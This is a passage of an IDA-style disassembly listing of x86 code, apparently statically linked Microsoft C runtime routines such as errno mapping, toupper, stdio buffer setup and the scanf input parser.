cmp ecx, ds:dword_450140[eax*8]
jnz short loc_426788
call sub_4267E0
mov edx, [ebp+var_4]
mov ecx, ds:dword_450144[edx*8]
mov [eax], ecx
jmp short loc_4267CD
; ---------------------------------------------------------------------------
loc_426788: ; CODE XREF: sub_426740+33j
jmp short loc_426757
; ---------------------------------------------------------------------------
loc_42678A: ; CODE XREF: sub_426740+24j
cmp [ebp+arg_0], 13h
jb short loc_4267A3
cmp [ebp+arg_0], 24h
ja short loc_4267A3
call sub_4267E0
mov dword ptr [eax], 0Dh
jmp short loc_4267CD
; ---------------------------------------------------------------------------
loc_4267A3: ; CODE XREF: sub_426740+4Ej
; sub_426740+54j
cmp [ebp+arg_0], 0BCh
jb short loc_4267C2
cmp [ebp+arg_0], 0CAh
ja short loc_4267C2
call sub_4267E0
mov dword ptr [eax], 8
jmp short loc_4267CD
; ---------------------------------------------------------------------------
loc_4267C2: ; CODE XREF: sub_426740+6Aj
; sub_426740+73j
call sub_4267E0
mov dword ptr [eax], 16h
loc_4267CD: ; CODE XREF: sub_426740+46j
; sub_426740+61j ...
mov esp, ebp
pop ebp
retn
sub_426740 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4267E0 proc near ; CODE XREF: sub_41E040:loc_41E312p
; sub_41FF60+E4p ...
push ebp
mov ebp, esp
call sub_425C30
add eax, 8
pop ebp
retn
sub_4267E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4267F0 proc near ; CODE XREF: sub_420150+4Ap
; sub_4214B0+3Cp ...
push ebp
mov ebp, esp
call sub_425C30
add eax, 0Ch
pop ebp
retn
sub_4267F0 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+8]
sub eax, 20h
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426810 proc near ; CODE XREF: sub_41E040+201p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
cmp ds:dword_4EEA70, 0
jnz short loc_426837
cmp [ebp+arg_0], 61h
jl short loc_426832
cmp [ebp+arg_0], 7Ah
jg short loc_426832
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_426832: ; CODE XREF: sub_426810+11j
; sub_426810+17j
mov eax, [ebp+arg_0]
jmp short loc_42689F
; ---------------------------------------------------------------------------
loc_426837: ; CODE XREF: sub_426810+Bj
push offset dword_4EED14
call ds:dword_4F1428 ; InterlockedIncrement
cmp ds:dword_4EED10, 0
jz short loc_426869
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
push 13h
call sub_421A80
add esp, 4
mov [ebp+var_4], 1
jmp short loc_426870
; ---------------------------------------------------------------------------
loc_426869: ; CODE XREF: sub_426810+39j
mov [ebp+var_4], 0
loc_426870: ; CODE XREF: sub_426810+57j
mov ecx, [ebp+arg_0]
push ecx
call sub_4268B0
add esp, 4
mov [ebp+arg_0], eax
cmp [ebp+var_4], 0
jz short loc_426891
push 13h
call sub_421B20
add esp, 4
jmp short loc_42689C
; ---------------------------------------------------------------------------
loc_426891: ; CODE XREF: sub_426810+73j
push offset dword_4EED14
call ds:dword_4F1424 ; InterlockedDecrement
loc_42689C: ; CODE XREF: sub_426810+7Fj
mov eax, [ebp+arg_0]
loc_42689F: ; CODE XREF: sub_426810+25j
mov esp, ebp
pop ebp
retn
sub_426810 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268B0 proc near ; CODE XREF: sub_426810+64p
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 10h
cmp ds:dword_4EEA70, 0
jnz short loc_4268DC
cmp [ebp+arg_0], 61h
jl short loc_4268D4
cmp [ebp+arg_0], 7Ah
jg short loc_4268D4
mov eax, [ebp+arg_0]
sub eax, 20h
mov [ebp+arg_0], eax
loc_4268D4: ; CODE XREF: sub_4268B0+13j
; sub_4268B0+19j
mov eax, [ebp+arg_0]
jmp loc_4269D7
; ---------------------------------------------------------------------------
loc_4268DC: ; CODE XREF: sub_4268B0+Dj
cmp [ebp+arg_0], 100h
jge short loc_426923
cmp ds:dword_44FD20, 1
jle short loc_426901
push 2
mov ecx, [ebp+arg_0]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_10], eax
jmp short loc_426915
; ---------------------------------------------------------------------------
loc_426901: ; CODE XREF: sub_4268B0+3Cj
mov edx, [ebp+arg_0]
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 2
mov [ebp+var_10], ecx
loc_426915: ; CODE XREF: sub_4268B0+4Fj
cmp [ebp+var_10], 0
jnz short loc_426923
mov eax, [ebp+arg_0]
jmp loc_4269D7
; ---------------------------------------------------------------------------
loc_426923: ; CODE XREF: sub_4268B0+33j
; sub_4268B0+69j
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 8000h
test ecx, ecx
jz short loc_42696C
mov edx, [ebp+arg_0]
sar edx, 8
and edx, 0FFh
mov [ebp+var_8], dl
mov al, byte ptr [ebp+arg_0]
mov [ebp+var_7], al
mov [ebp+var_6], 0
mov [ebp+var_4], 2
jmp short loc_42697D
; ---------------------------------------------------------------------------
loc_42696C: ; CODE XREF: sub_4268B0+98j
mov cl, byte ptr [ebp+arg_0]
mov [ebp+var_8], cl
mov [ebp+var_7], 0
mov [ebp+var_4], 1
loc_42697D: ; CODE XREF: sub_4268B0+BAj
push 1
push 0
push 3
lea edx, [ebp+var_C]
push edx
mov eax, [ebp+var_4]
push eax
lea ecx, [ebp+var_8]
push ecx
push 200h
mov edx, ds:dword_4EEA70
push edx
call loc_42BB40
add esp, 20h
mov [ebp+var_4], eax
cmp [ebp+var_4], 0
jnz short loc_4269B1
mov eax, [ebp+arg_0]
jmp short loc_4269D7
; ---------------------------------------------------------------------------
loc_4269B1: ; CODE XREF: sub_4268B0+FAj
cmp [ebp+var_4], 1
jnz short loc_4269C1
mov eax, [ebp+var_C]
and eax, 0FFh
jmp short loc_4269D7
; ---------------------------------------------------------------------------
loc_4269C1: ; CODE XREF: sub_4268B0+105j
mov eax, [ebp+var_C]
and eax, 0FFh
mov ecx, [ebp+var_C+1]
and ecx, 0FFh
shl ecx, 8
or eax, ecx
loc_4269D7: ; CODE XREF: sub_4268B0+27j
; sub_4268B0+6Ej ...
mov esp, ebp
pop ebp
retn
sub_4268B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4269E0 proc near ; CODE XREF: sub_41E440+79p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
loc_4269E9: ; CODE XREF: sub_4269E0+31j
cmp [ebp+arg_0], 0
jnz short loc_426A0D
push offset dword_4394FC
push 0
push 41h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_426A0D
int 3 ; Trap to Debugger
loc_426A0D: ; CODE XREF: sub_4269E0+Dj
; sub_4269E0+2Aj
xor eax, eax
test eax, eax
jnz short loc_4269E9
mov ecx, [ebp+arg_0]
mov [ebp+var_4], ecx
mov edx, [ebp+var_4]
mov eax, [edx+10h]
push eax
call sub_42E870
add esp, 4
test eax, eax
jnz short loc_426A33
xor eax, eax
jmp loc_426B30
; ---------------------------------------------------------------------------
loc_426A33: ; CODE XREF: sub_4269E0+4Aj
cmp [ebp+var_4], offset dword_44FA90
jnz short loc_426A45
mov [ebp+var_8], 0
jmp short loc_426A5E
; ---------------------------------------------------------------------------
loc_426A45: ; CODE XREF: sub_4269E0+5Aj
cmp [ebp+var_4], offset dword_44FAB0
jnz short loc_426A57
mov [ebp+var_8], 1
jmp short loc_426A5E
; ---------------------------------------------------------------------------
loc_426A57: ; CODE XREF: sub_4269E0+6Cj
xor eax, eax
jmp loc_426B30
; ---------------------------------------------------------------------------
loc_426A5E: ; CODE XREF: sub_4269E0+63j
; sub_4269E0+75j
mov ecx, ds:dword_4EE9C8
add ecx, 1
mov ds:dword_4EE9C8, ecx
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 10Ch
test eax, eax
jz short loc_426A83
xor eax, eax
jmp loc_426B30
; ---------------------------------------------------------------------------
loc_426A83: ; CODE XREF: sub_4269E0+9Aj
mov ecx, [ebp+var_8]
cmp ds:dword_4EEA54[ecx*4], 0
jnz short loc_426AEA
push 5Eh
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
push 1000h
call sub_41AE60
add esp, 10h
mov edx, [ebp+var_8]
mov ds:dword_4EEA54[edx*4], eax
mov eax, [ebp+var_8]
cmp ds:dword_4EEA54[eax*4], 0
jnz short loc_426AEA
mov ecx, [ebp+var_4]
add ecx, 14h
mov edx, [ebp+var_4]
mov [edx+8], ecx
mov eax, [ebp+var_4]
mov ecx, [ebp+var_4]
mov edx, [ecx+8]
mov [eax], edx
mov eax, [ebp+var_4]
mov dword ptr [eax+18h], 2
mov ecx, [ebp+var_4]
mov dword ptr [ecx+4], 2
jmp short loc_426B19
; ---------------------------------------------------------------------------
loc_426AEA: ; CODE XREF: sub_4269E0+AEj
; sub_4269E0+DBj
mov edx, [ebp+var_4]
mov eax, [ebp+var_8]
mov ecx, ds:dword_4EEA54[eax*4]
mov [edx+8], ecx
mov edx, [ebp+var_4]
mov eax, [ebp+var_4]
mov ecx, [eax+8]
mov [edx], ecx
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 1000h
mov eax, [ebp+var_4]
mov dword ptr [eax+4], 1000h
loc_426B19: ; CODE XREF: sub_4269E0+108j
mov ecx, [ebp+var_4]
mov edx, [ecx+0Ch]
or edx, 1102h
mov eax, [ebp+var_4]
mov [eax+0Ch], edx
mov eax, 1
loc_426B30: ; CODE XREF: sub_4269E0+4Ej
; sub_4269E0+79j ...
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4269E0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426B40 proc near ; CODE XREF: sub_41E440+A3p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
loc_426B47: ; CODE XREF: sub_426B40+38j
cmp [ebp+arg_0], 0
jz short loc_426B74
cmp [ebp+arg_0], 1
jz short loc_426B74
push offset aFlag0Flag1 ; "flag == 0 || flag == 1"
push 0
push 0A1h
push offset a_sftbuf_c ; "_sftbuf.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_426B74
int 3 ; Trap to Debugger
loc_426B74: ; CODE XREF: sub_426B40+Bj
; sub_426B40+11j ...
xor eax, eax
test eax, eax
jnz short loc_426B47
mov ecx, [ebp+arg_4]
mov [ebp+var_4], ecx
cmp [ebp+arg_0], 0
jz short loc_426BCD
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and eax, 1000h
test eax, eax
jz short loc_426BCD
mov ecx, [ebp+var_4]
push ecx
call sub_421720
add esp, 4
mov edx, [ebp+var_4]
mov eax, [edx+0Ch]
and ah, 0EEh
mov ecx, [ebp+var_4]
mov [ecx+0Ch], eax
mov edx, [ebp+var_4]
mov dword ptr [edx+18h], 0
mov eax, [ebp+var_4]
mov dword ptr [eax], 0
mov ecx, [ebp+var_4]
mov dword ptr [ecx+8], 0
loc_426BCD: ; CODE XREF: sub_426B40+44j
; sub_426B40+53j
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_426B40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BE0 proc near ; CODE XREF: sub_41EB80+A2p
var_224 = dword ptr -224h
var_220 = dword ptr -220h
var_21C = dword ptr -21Ch
var_218 = dword ptr -218h
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_20C = dword ptr -20Ch
var_208 = dword ptr -208h
var_204 = dword ptr -204h
var_200 = dword ptr -200h
var_1FC = dword ptr -1FCh
var_1F8 = dword ptr -1F8h
var_1F4 = dword ptr -1F4h
var_1F0 = byte ptr -1F0h
var_1EF = byte ptr -1EFh
var_1EC = dword ptr -1ECh
var_1E8 = dword ptr -1E8h
var_1E4 = dword ptr -1E4h
var_1E0 = dword ptr -1E0h
var_1DC = dword ptr -1DCh
var_1D8 = dword ptr -1D8h
var_1D4 = dword ptr -1D4h
var_1D0 = byte ptr -1D0h
var_70 = byte ptr -70h
var_6C = dword ptr -6Ch
var_68 = byte ptr -68h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_55 = byte ptr -55h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 224h
push ebx
push esi
push edi
loc_426BEC: ; CODE XREF: sub_426BE0+37j
cmp [ebp+arg_4], 0
jnz short loc_426C13
push offset aFormatNull ; "format != NULL"
push 0
push 109h
push offset aInput_c ; "input.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_426C13
int 3 ; Trap to Debugger
loc_426C13: ; CODE XREF: sub_426BE0+10j
; sub_426BE0+30j
xor eax, eax
test eax, eax
jnz short loc_426BEC
loc_426C19: ; CODE XREF: sub_426BE0+64j
cmp [ebp+arg_0], 0
jnz short loc_426C40
push offset dword_4394EC
push 0
push 10Ch
push offset aInput_c ; "input.c"
push 2
call loc_420E10
add esp, 14h
cmp eax, 1
jnz short loc_426C40
int 3 ; Trap to Debugger
loc_426C40: ; CODE XREF: sub_426BE0+3Dj
; sub_426BE0+5Dj
xor ecx, ecx
test ecx, ecx
jnz short loc_426C19
mov [ebp+var_28], 0
movsx edx, [ebp+var_28]
mov [ebp+var_20], edx
mov eax, [ebp+var_20]
mov [ebp+var_34], eax
loc_426C57: ; CODE XREF: sub_426BE0:loc_427EC5j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
test edx, edx
jz loc_427ECA
cmp ds:dword_44FD20, 1
jle short loc_426C89
push 8
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_1F8], eax
jmp short loc_426CA5
; ---------------------------------------------------------------------------
loc_426C89: ; CODE XREF: sub_426BE0+8Dj
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov ecx, ds:off_44FE2C
xor edx, edx
mov dx, [ecx+eax*2]
and edx, 8
mov [ebp+var_1F8], edx
loc_426CA5: ; CODE XREF: sub_426BE0+A7j
cmp [ebp+var_1F8], 0
jz short loc_426CF3
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+arg_0]
push edx
lea eax, [ebp+var_20]
push eax
call sub_4280A0
add esp, 8
push eax
call sub_428080
add esp, 8
loc_426CD4: ; CODE XREF: sub_426BE0+111j
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
push eax
call sub_4206C0
add esp, 4
test eax, eax
jz short loc_426CF3
jmp short loc_426CD4
; ---------------------------------------------------------------------------
loc_426CF3: ; CODE XREF: sub_426BE0+CCj
; sub_426BE0+10Fj
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 25h
jnz loc_427DAE
mov [ebp+var_40], 0
mov byte ptr [ebp+var_8], 0
mov [ebp+var_6C], 0
mov eax, [ebp+var_6C]
mov [ebp+var_1E8], eax
mov ecx, [ebp+var_1E8]
mov [ebp+var_1C], ecx
mov [ebp+var_10], 0
mov dl, [ebp+var_10]
mov [ebp+var_68], dl
mov al, [ebp+var_68]
mov [ebp+var_70], al
mov cl, [ebp+var_70]
mov [ebp+var_18], cl
mov dl, [ebp+var_18]
mov [ebp+var_64], dl
mov [ebp+var_14], 0
mov [ebp+var_38], 1
mov [ebp+var_1DC], 0
loc_426D55: ; CODE XREF: sub_426BE0:loc_426EADj
movsx eax, [ebp+var_18]
test eax, eax
jnz loc_426EB2
mov ecx, [ebp+arg_4]
add ecx, 1
mov [ebp+arg_4], ecx
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx]
mov [ebp+var_C], eax
cmp ds:dword_44FD20, 1
jle short loc_426D99
push 4
mov ecx, [ebp+var_C]
and ecx, 0FFh
push ecx
call sub_423D90
add esp, 8
mov [ebp+var_1FC], eax
jmp short loc_426DB6
; ---------------------------------------------------------------------------
loc_426D99: ; CODE XREF: sub_426BE0+19Bj
mov edx, [ebp+var_C]
and edx, 0FFh
mov eax, ds:off_44FE2C
xor ecx, ecx
mov cx, [eax+edx*2]
and ecx, 4
mov [ebp+var_1FC], ecx
loc_426DB6: ; CODE XREF: sub_426BE0+1B7j
cmp [ebp+var_1FC], 0
jz short loc_426DE6
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
lea edx, [ecx+eax*4]
mov eax, [ebp+var_C]
lea ecx, [eax+edx*2-30h]
mov [ebp+var_1C], ecx
jmp loc_426EAD
; ---------------------------------------------------------------------------
loc_426DE6: ; CODE XREF: sub_426BE0+1DDj
mov edx, [ebp+var_C]
mov [ebp+var_200], edx
mov eax, [ebp+var_200]
sub eax, 2Ah
mov [ebp+var_200], eax
cmp [ebp+var_200], 4Dh
ja loc_426EA5
mov edx, [ebp+var_200]
xor ecx, ecx
mov cl, ds:byte_427F28[edx]
jmp ds:off_427F08[ecx*4]
loc_426E20: ; DATA XREF: seg000:00427F0Co
jmp loc_426EAD
; ---------------------------------------------------------------------------
loc_426E25: ; CODE XREF: sub_426BE0+239j
; DATA XREF: seg000:00427F18o
mov al, [ebp+var_38]
sub al, 1
mov [ebp+var_38], al
mov cl, [ebp+var_14]
sub cl, 1
mov [ebp+var_14], cl
jmp short loc_426EAD
; ---------------------------------------------------------------------------
loc_426E38: ; CODE XREF: sub_426BE0+239j
; DATA XREF: seg000:00427F10o
mov edx, [ebp+arg_4]
xor eax, eax
mov al, [edx+1]
cmp eax, 36h
jnz short loc_426E7A
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx+2]
cmp edx, 34h
jnz short loc_426E7A
mov eax, [ebp+arg_4]
add eax, 2
mov [ebp+arg_4], eax
mov ecx, [ebp+var_1DC]
add ecx, 1
mov [ebp+var_1DC], ecx
mov [ebp+var_30], 0
mov [ebp+var_2C], 0
jmp short loc_426EAD
; ---------------------------------------------------------------------------
loc_426E7A: ; CODE XREF: sub_426BE0+263j
; sub_426BE0+270j
jmp short loc_426EA5
; ---------------------------------------------------------------------------
loc_426E7C: ; CODE XREF: sub_426BE0+239j
; DATA XREF: seg000:00427F14o
mov dl, [ebp+var_38]
add dl, 1
mov [ebp+var_38], dl
jmp short loc_426EAD
; ---------------------------------------------------------------------------
loc_426E87: ; CODE XREF: sub_426BE0+239j
; DATA XREF: seg000:00427F1Co
mov al, [ebp+var_38]
add al, 1
mov [ebp+var_38], al
loc_426E8F: ; CODE XREF: sub_426BE0+239j
; DATA XREF: seg000:00427F20o
mov cl, [ebp+var_14]
add cl, 1
mov [ebp+var_14], cl
jmp short loc_426EAD
; ---------------------------------------------------------------------------
loc_426E9A: ; CODE XREF: sub_426BE0+239j
; DATA XREF: seg000:off_427F08o
mov dl, [ebp+var_70]
add dl, 1
mov [ebp+var_70], dl
jmp short loc_426EAD
; ---------------------------------------------------------------------------
loc_426EA5: ; CODE XREF: sub_426BE0+225j
; sub_426BE0+239j ...
mov al, [ebp+var_18]
add al, 1
mov [ebp+var_18], al
loc_426EAD: ; CODE XREF: sub_426BE0+201j
; sub_426BE0:loc_426E20j ...
jmp loc_426D55
; ---------------------------------------------------------------------------
loc_426EB2: ; CODE XREF: sub_426BE0+17Bj
movsx ecx, [ebp+var_70]
test ecx, ecx
jnz short loc_426ED5
mov edx, [ebp+arg_8]
mov [ebp+var_1D4], edx
mov eax, [ebp+arg_8]
add eax, 4
mov [ebp+arg_8], eax
mov ecx, [ebp+arg_8]
mov edx, [ecx-4]
mov [ebp+var_3C], edx
loc_426ED5: ; CODE XREF: sub_426BE0+2D8j
mov [ebp+var_18], 0
movsx eax, [ebp+var_14]
test eax, eax
jnz short loc_426F0C
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
cmp edx, 53h
jz short loc_426EF9
mov eax, [ebp+arg_4]
xor ecx, ecx
mov cl, [eax]
cmp ecx, 43h
jnz short loc_426F04
loc_426EF9: ; CODE XREF: sub_426BE0+30Bj
mov dl, [ebp+var_14]
add dl, 1
mov [ebp+var_14], dl
jmp short loc_426F0C
; ---------------------------------------------------------------------------
loc_426F04: ; CODE XREF: sub_426BE0+317j
mov al, [ebp+var_14]
sub al, 1
mov [ebp+var_14], al
loc_426F0C: ; CODE XREF: sub_426BE0+2FFj
; sub_426BE0+322j
mov ecx, [ebp+arg_4]
xor edx, edx
mov dl, [ecx]
or edx, 20h
mov [ebp+var_C], edx
cmp [ebp+var_C], 6Eh
jz short loc_426F5E
cmp [ebp+var_C], 63h
jz short loc_426F43
cmp [ebp+var_C], 7Bh
jz short loc_426F43
mov eax, [ebp+arg_0]
push eax
lea ecx, [ebp+var_20]
push ecx
call sub_4280A0
add esp, 8
mov [ebp+var_1D8], eax
jmp short loc_426F5E
; ---------------------------------------------------------------------------
loc_426F43: ; CODE XREF: sub_426BE0+343j
; sub_426BE0+349j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
add esp, 4
mov [ebp+var_1D8], eax
loc_426F5E: ; CODE XREF: sub_426BE0+33Dj
; sub_426BE0+361j
cmp [ebp+var_1E8], 0
jz short loc_426F71
cmp [ebp+var_1C], 0
jz loc_427D7F
loc_426F71: ; CODE XREF: sub_426BE0+385j
mov ecx, [ebp+var_C]
mov [ebp+var_204], ecx
mov edx, [ebp+var_204]
sub edx, 63h
mov [ebp+var_204], edx
cmp [ebp+var_204], 18h
ja loc_427D2A
mov ecx, [ebp+var_204]
xor eax, eax
mov al, ds:byte_427F9E[ecx]
jmp ds:off_427F76[eax*4]
loc_426FAB: ; DATA XREF: seg000:off_427F76o
cmp [ebp+var_1E8], 0
jnz short loc_426FCC
mov edx, [ebp+var_1E8]
add edx, 1
mov [ebp+var_1E8], edx
mov eax, [ebp+var_1C]
add eax, 1
mov [ebp+var_1C], eax
loc_426FCC: ; CODE XREF: sub_426BE0+3D2j
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_426FDD
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_426FDD: ; CODE XREF: sub_426BE0+3F2j
mov [ebp+var_1E0], offset dword_4502B0
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_427060
; ---------------------------------------------------------------------------
loc_426FF1: ; CODE XREF: sub_426BE0+3C4j
; DATA XREF: seg000:00427F8Eo
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_427002
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_427002: ; CODE XREF: sub_426BE0+417j
mov [ebp+var_1E0], offset dword_4502A8
mov al, [ebp+var_10]
sub al, 1
mov [ebp+var_10], al
jmp short loc_427060
; ---------------------------------------------------------------------------
loc_427016: ; CODE XREF: sub_426BE0+3C4j
; DATA XREF: seg000:00427F96o
movsx ecx, [ebp+var_14]
test ecx, ecx
jle short loc_427027
mov dl, [ebp+var_64]
add dl, 1
mov [ebp+var_64], dl
loc_427027: ; CODE XREF: sub_426BE0+43Cj
mov eax, [ebp+arg_4]
add eax, 1
mov [ebp+arg_4], eax
mov ecx, [ebp+arg_4]
mov [ebp+var_1E0], ecx
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Eh
jnz short loc_427060
mov ecx, [ebp+var_1E0]
add ecx, 1
mov [ebp+var_1E0], ecx
mov dl, [ebp+var_10]
sub dl, 1
mov [ebp+var_10], dl
loc_427060: ; CODE XREF: sub_426BE0+40Fj
; sub_426BE0+434j ...
push 20h
push 0
lea eax, [ebp+var_60]
push eax
call sub_41D100
add esp, 0Ch
cmp [ebp+var_C], 7Bh
jnz short loc_42709C
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jnz short loc_42709C
mov byte ptr [ebp+var_8], 5Dh
mov eax, [ebp+var_1E0]
add eax, 1
mov [ebp+var_1E0], eax
mov [ebp+var_55], 20h
loc_42709C: ; CODE XREF: sub_426BE0+494j
; sub_426BE0+4A3j ...
mov ecx, [ebp+var_1E0]
xor edx, edx
mov dl, [ecx]
cmp edx, 5Dh
jz loc_427207
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_1EC]
and eax, 0FFh
cmp eax, 2Dh
jnz short loc_4270F8
mov ecx, [ebp+var_8]
and ecx, 0FFh
test ecx, ecx
jz short loc_4270F8
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
cmp eax, 5Dh
jnz short loc_42713E
loc_4270F8: ; CODE XREF: sub_426BE0+4FAj
; sub_426BE0+507j
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov eax, 1
shl eax, cl
mov cl, [ebp+edx+var_60]
or cl, al
mov edx, [ebp+var_8]
and edx, 0FFh
sar edx, 3
mov [ebp+edx+var_60], cl
jmp loc_427202
; ---------------------------------------------------------------------------
loc_42713E: ; CODE XREF: sub_426BE0+516j
mov eax, [ebp+var_1E0]
mov cl, [eax]
mov byte ptr [ebp+var_1EC], cl
mov edx, [ebp+var_1E0]
add edx, 1
mov [ebp+var_1E0], edx
mov eax, [ebp+var_8]
and eax, 0FFh
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
cmp eax, ecx
jge short loc_42717E
mov dl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_24], dl
jmp short loc_42718D
; ---------------------------------------------------------------------------
loc_42717E: ; CODE XREF: sub_426BE0+591j
mov al, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_24], al
mov cl, byte ptr [ebp+var_1EC]
mov byte ptr [ebp+var_8], cl
loc_42718D: ; CODE XREF: sub_426BE0+59Cj
mov dl, byte ptr [ebp+var_8]
mov byte ptr [ebp+var_1EC], dl
jmp short loc_4271A6
; ---------------------------------------------------------------------------
loc_427198: ; CODE XREF: sub_426BE0+61Cj
mov al, byte ptr [ebp+var_1EC]
add al, 1
mov byte ptr [ebp+var_1EC], al
loc_4271A6: ; CODE XREF: sub_426BE0+5B6j
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
mov edx, [ebp+var_24]
and edx, 0FFh
cmp ecx, edx
jg short loc_4271FE
mov eax, [ebp+var_1EC]
and eax, 0FFh
sar eax, 3
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
and ecx, 7
mov edx, 1
shl edx, cl
mov al, [ebp+eax+var_60]
or al, dl
mov ecx, [ebp+var_1EC]
and ecx, 0FFh
sar ecx, 3
mov [ebp+ecx+var_60], al
jmp short loc_427198
; ---------------------------------------------------------------------------
loc_4271FE: ; CODE XREF: sub_426BE0+5DDj
mov byte ptr [ebp+var_8], 0
loc_427202: ; CODE XREF: sub_426BE0+559j
jmp loc_42709C
; ---------------------------------------------------------------------------
loc_427207: ; CODE XREF: sub_426BE0+4C9j
mov edx, [ebp+var_1E0]
xor eax, eax
mov al, [edx]
test eax, eax
jnz short loc_42721A
jmp loc_427ECA
; ---------------------------------------------------------------------------
loc_42721A: ; CODE XREF: sub_426BE0+633j
cmp [ebp+var_C], 7Bh
jnz short loc_427229
mov ecx, [ebp+var_1E0]
mov [ebp+arg_4], ecx
loc_427229: ; CODE XREF: sub_426BE0+63Ej
mov edx, [ebp+var_3C]
mov [ebp+var_1E4], edx
mov eax, [ebp+var_20]
sub eax, 1
mov [ebp+var_20], eax
mov ecx, [ebp+arg_0]
push ecx
mov edx, [ebp+var_1D8]
push edx
call sub_428080
add esp, 8
loc_42724E: ; CODE XREF: sub_426BE0:loc_427390j
cmp [ebp+var_1E8], 0
jz short loc_42726B
mov eax, [ebp+var_1C]
mov ecx, [ebp+var_1C]
sub ecx, 1
mov [ebp+var_1C], ecx
test eax, eax
jz loc_427395
loc_42726B: ; CODE XREF: sub_426BE0+675j
mov edx, [ebp+var_20]
add edx, 1
mov [ebp+var_20], edx
mov eax, [ebp+arg_0]
push eax
call sub_428020
